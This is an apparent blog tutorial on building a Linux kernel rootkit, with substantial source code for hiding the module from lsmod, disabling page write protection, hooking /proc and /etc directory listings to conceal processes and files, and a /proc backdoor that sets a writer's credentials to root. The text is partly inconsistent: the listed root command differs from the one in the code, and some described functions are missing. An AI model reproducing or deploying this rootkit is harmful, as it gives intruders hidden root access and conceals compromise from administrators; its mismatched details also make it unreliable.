Introduction
In this article, I will explain how to develop a basic rootkit specifically for the Linux kernel, focusing on a Kernel rootkit. However, to comprehend the content presented here, it is necessary to have knowledge of writing Linux kernel modules. If you are unfamiliar with this topic, you can refer to the following resources: Kernel modules — The Linux Kernel documentation
What Exactly is a Rootkit?
When someone breaches a system, they often want to maintain access to it for future use. By installing a rootkit on the system, they can acquire administrator privileges whenever necessary. Effective rootkits are designed to remain hidden within the compromised system, making them difficult for administrators to detect. There are various techniques for achieving this concealment, but in this article, we’ll focus specifically on Linux rootkits. We’ll provide a general overview of how this rootkit operates, present its code, and then delve into the details of its functionality.
When a user sends the correct command to the rootkit, they will gain root privileges. Another command will allow the user to hide a process. To safely unload the rootkit (without any errors), it will have functions that make the rootkit visible, etc. We will describe them shortly. Another function will allow the user to “unhide” the last hidden process.
Rootkit’s Inner Workings
Rootkit’s Inner Workings
Now, let’s see what functions will be called during the loading of the rootkit:
module_remember_info()
: This function saves some information about the rootkit to make it possible to unload it later.proc_init()
: This is a crucial function that enables sending commands to the rootkit.module_hide()
: This function hides the rootkit.tidy()
: This function performs cleanup. If we don’t do this, there will be errors during the unloading of the rootkit.rootkit_protect()
: This simple function makes it impossible to unload the rootkit by the “rmmod rootkit” command, even if it is visible. However, it is still possible to unload it using “rmmod -f rootkit” if the kernel was compiled with support for forced unloading modules.
Now, let’s describe those functions in detail:
procfs_init():
As already mentioned, this function enables sending commands to the rootkit. Initially, I wanted to create an entry in /proc
and then hide it to prevent detection by the “readdir” syscall. However, this approach was not effective, as the rootkit could still be found from kernel mode by browsing the list of entries in /proc
. So, what did I do? The rootkit finds an existing entry (for example, /proc/version
) and replaces its existing functions (like read_proc
and write_proc
) with other functions. Commands are sent to the rootkit by reading from or writing to this “infected” entry.
You might ask: “By reading or writing, or both?” It depends on the functions the infected entry had. If it only had a writing function, we replace it. Why not create a function for reading? Because it would be suspicious if an entry suddenly gained a writing function. We have to avoid detection - the administrator cannot detect us! If the entry had only a reading function, we replace it. If it had both reading and writing functions, we replace only the writing function.
So, how do we pass commands to that entry? When the writing function was replaced, you simply write the correct command to that entry. You can do this using “echo” or similar programs. However, if you want to gain root privileges, you must write your own program that writes to that entry and then uses the execve
syscall to run a shell.
If the reading function was replaced, you must write a special program. What does it have to do? It must read from that entry using the read
syscall. One of the parameters of this function is a pointer to the buffer where the data has to be written. To pass a command to our entry, you must save that command in a buffer. Then, you provide the pointer to that buffer as a parameter of the read
syscall.
// MODULE HELPERS
void module_hide(void) { ... }
void tidy(void) { ... }
// PAGE RW HELPERS
static void set_addr_rw(void *addr) { ... }
static void set_addr_ro(void *addr) { ... }
// CALLBACK SECTION
static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { ... }
static int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { ... }
static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) { ... }
static int fs_readdir_new(struct file *filp, void *dirent, filldir_t filldir) { ... }
static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data) { ... }
static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data) { ... }
// INITIALIZING/CLEANING HELPER METHODS SECTION
static void procfs_clean(void) { ... }
static void fs_clean(void) { ... }
// MODULE INIT/EXIT
static int __init procfs_init(void) { ... }
static int __init fs_init(void) { ... }
// MODULE INIT/EXIT
static int __init rootkit_init(void) { ... }
static void __exit rootkit_exit(void) { ... }
module_init(rootkit_init);
module_exit(rootkit_exit);
module_hide
and tidy
are responsible for hiding and showing the rootkit module in the Linux kernel. They achieve this by manipulating the module’s linked list and kernel object. When module_hide
is called, it removes the module from the kernel’s module list and deletes its kernel object, effectively hiding the module. Conversely, tidy
restores the module’s visibility by adding it back to the module list.
hide()
: In this function, we hide the rootkit. The first problem is that the rootkit is displayed by the “lsmod” command and is visible in the /proc/modules
file. To solve this problem, we can delete our module from the main list of modules. Each module is represented by a module structure.
Next, we have set_addr_rw
and set_addr_ro
, which manipulate the page permissions of a given address. The set_addr_rw
function sets the page to read-write mode, allowing modifications, while set_addr_ro
sets the page back to read-only mode.
// PAGE RW HELPERS
static void set_addr_rw(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr, &level);
if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
}
static void set_addr_ro(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr, &level);
pte->pte = pte->pte &~_PAGE_RW;
}
Next is the Callback Section, introducing novel implementations for the filldir
and readdir
functions, governing the visibility of files and directories within the /proc
and /etc
filesystems through the application of specific filtering mechanisms.
Firstly, the proc_filldir_new
function is designed to filter entries within the /proc
filesystem. It achieves this by iterating through a designated list of process IDs (pids_to_hide
) and concealing processes whose IDs match those in the list. Additionally, this function ensures the invisibility of the entry named “rtkit.” A return value of 0 signifies the intention to hide the entry, while a non-zero value triggers a call to the original proc_filldir_orig
function, thereby preserving visibility.
The subsequent function, proc_readdir_new
, supersedes the native /proc
directory reading function (readdir
). By employing the new proc_filldir_new
function, it directs the behavior of the original function. Specifically, it sets the original filldir
function to proc_filldir_orig
and invokes the original proc_readdir_orig
with the new proc_filldir_new
function as an argument, ultimately returning the result of the original directory reading operation.
// CALLBACK SECTION
static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
{
int i;
for (i=0; i < current_pid; i++) {
if (!strcmp(name, pids_to_hide[i])) return 0;
}
if (!strcmp(name, "rtkit")) return 0;
return proc_filldir_orig(buf, name, namelen, offset, ino, d_type);
}
static int proc_readdir_new(struct file *filp, void *dirent, filldir_t filldir)
{
proc_filldir_orig = filldir;
return proc_readdir_orig(filp, dirent, proc_filldir_new);
}
Moving to the fs_filldir_new
function, its primary objective is to filter entries within the /etc
filesystem. When the hide_files
flag is activated, this function conceals files bearing names prefixed with “__rt” or “10-__rt.” A return value of 0 signifies the intent to hide the entry, while a non-zero value triggers a call to the original fs_filldir_orig
function, thus maintaining visibility.
The fs_readdir_new
function, responsible for superseding the original /etc
directory reading function (readdir
), incorporates the new fs_filldir_new
function. It sets the original filldir
function to fs_filldir_orig
and invokes the original fs_readdir_orig
with the new fs_filldir_new
function as an argument, culminating in the return of the original directory reading operation’s result.
static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data)
{
int size;
sprintf(module_status,
"RTKIT\n\
DESC:\n\
hides files prefixed with __rt or 10-__rt and gives root\n\
CMNDS:\n\
mypenislong - uid and gid 0 for writing process\n\
hpXXXX - hides proc with id XXXX\n\
up - unhides last process\n\
thf - toogles file hiding\n\
mh - module hide\n\
ms - module show\n\
STATUS\n\
fshide: %d\n\
pids_hidden: %d\n\
module_hidden: %d\n", hide_files, current_pid, module_hidden);
size = strlen(module_status);
if (off >= size) return 0;
if (count >= size-off) {
memcpy(buffer, module_status+off, size-off);
} else {
memcpy(buffer, module_status+off, count);
}
return size-off;
}
static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data)
{
if (!strncmp(buff, "fooshere", MIN(11, count))) { //changes to root
struct cred *credentials = prepare_creds();
credentials->uid = credentials->euid = 0;
credentials->gid = credentials->egid = 0;
commit_creds(credentials);
} else if (!strncmp(buff, "hp", MIN(2, count))) {//upXXXXXX hides process with given id
if (current_pid < MAX_PIDS) strncpy(pids_to_hide[current_pid++], buff+2, MIN(7, count-2));
} else if (!strncmp(buff, "up", MIN(2, count))) {//unhides last hidden process
if (current_pid > 0) current_pid--;
} else if (!strncmp(buff, "thf", MIN(3, count))) {//toggles hide files in fs
hide_files = !hide_files;
} else if (!strncmp(buff, "mh", MIN(2, count))) {//module hide
module_hide();
} else if (!strncmp(buff, "ms", MIN(2, count))) {//module hide
tidy();
}
return count;
}
The rtkit_read
function manages read operations on the rootkit’s /proc
entry, furnishing information about the rootkit’s status. This function generates a status message (module_status
) encompassing details on file hiding, concealed processes, and module visibility. The return value is determined by the size of the status message or 0 if the offset exceeds the message size.
Concluding the section, the rtkit_write
function handles write operations on the rootkit’s /proc
entry, interpreting and executing commands. It processes commands such as altering user privileges, hiding/unhiding processes, toggling file hiding, and module hiding/showing. The return value reflects the number of bytes processed.
Initialization/Exit functionality
The rootkit’s establishment and termination processes play a pivotal role in ensuring its seamless integration and removal from the system during module loading and unloading. Delving into the specifics, let’s provide a comprehensive overview of the essential functionalities within this segment:
The procfs_clean
function serves the purpose of reversing alterations made during the rootkit’s initialization for the /proc
filesystem. Its actions include the removal of the “rtkit” entry from the /proc
filesystem and the restoration of the original readdir
function.
Similarly, the fs_clean
function takes on the responsibility of undoing modifications introduced during the rootkit’s initialization for the /etc
filesystem. Specifically, it reverts the readdir
function in the /etc
filesystem to its original state.
Moving on to the procfs_init
function, it is designed to initialize the rootkit for the /proc
filesystem. This involves creating a new entry named “rtkit” with appropriate permissions, ensuring its correct placement in the /proc
filesystem, and assigning custom read and write functions. Additionally, the function substitutes the original readdir
function with a customized version, proc_readdir_new
.
For the /etc
filesystem, the fs_init
function undertakes the task of initializing the rootkit by acquiring the file operations structure and substituting the readdir
function with a custom implementation, fs_readdir_new
.
The primary initialization function, rootkit_init
, takes charge of orchestrating the setup of the entire rootkit. It calls both procfs_init
and fs_init
functions, conceals the rootkit module using module_hide
, and in case of any initialization failure, triggers cleanup through procfs_clean
and fs_clean
functions.
Lastly, the rootkit_exit
function and the module_init(rootkit_init)
macro collectively ensure the execution of cleanup operations when the rootkit module is unloaded. The rootkit_exit
function calls both procfs_clean
and fs_clean
functions to revert any changes made during the initialization process. The module_init(rootkit_init)
macro specifies that the rootkit_init
function should be executed upon loading the module. Conversely, the module_exit(rootkit_exit)
macro specifies that the rootkit_exit
function should be executed when the module is unloaded, thus ensuring a comprehensive setup and cleanup lifecycle for the rootkit.
// INITIALIZING/CLEANING HELPER METHODS SECTION
static void procfs_clean(void)
{
if (proc_rtkit != NULL) {
remove_proc_entry("rtkit", NULL);
proc_rtkit = NULL;
}
if (proc_fops != NULL && proc_readdir_orig != NULL) {
set_addr_rw(proc_fops);
proc_fops->readdir = proc_readdir_orig;
set_addr_ro(proc_fops);
}
}
static void fs_clean(void)
{
if (fs_fops != NULL && fs_readdir_orig != NULL) {
set_addr_rw(fs_fops);
fs_fops->readdir = fs_readdir_orig;
set_addr_ro(fs_fops);
}
}
static int __init procfs_init(void)
{
//new entry in proc root
proc_rtkit = create_proc_entry("rtkit", 0444, NULL);
if (proc_rtkit == NULL) return 0;
proc_root = proc_rtkit->parent;
if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) {
return 0;
}
proc_rtkit->read_proc = rtkit_read;
proc_rtkit->write_proc = rtkit_write;
//substitute proc readdir to our wersion (using page mode change)
proc_fops = ((struct file_operations *) proc_root->proc_fops);
proc_readdir_orig = proc_fops->readdir;
set_addr_rw(proc_fops);
proc_fops->readdir = proc_readdir_new;
set_addr_ro(proc_fops);
return 1;
}
static int __init fs_init(void)
{
struct file *etc_filp;
//get file_operations of /etc
etc_filp = filp_open("/etc", O_RDONLY, 0);
if (etc_filp == NULL) return 0;
fs_fops = (struct file_operations *) etc_filp->f_op;
filp_close(etc_filp, NULL);
//substitute readdir of fs on which /etc is
fs_readdir_orig = fs_fops->readdir;
set_addr_rw(fs_fops);
fs_fops->readdir = fs_readdir_new;
set_addr_ro(fs_fops);
return 1;
}
// MODULE INIT/EXIT
static int __init rootkit_init(void)
{
if (!procfs_init() || !fs_init()) {
procfs_clean();
fs_clean();
return 1;
}
module_hide();
return 0;
}
static void __exit rootkit_exit(void)
{
procfs_clean();
fs_clean();
}
module_init(rootkit_init);
module_exit(rootkit_exit);
Conclusion
That’s it for now, Hope you learned something, You may be wondering, “Why is everything in the rootkit defined as ‘static’?” Well, things defined as static aren’t exported to kallsyms, making the rootkit harder to detect. Thank you for reading. Until next time!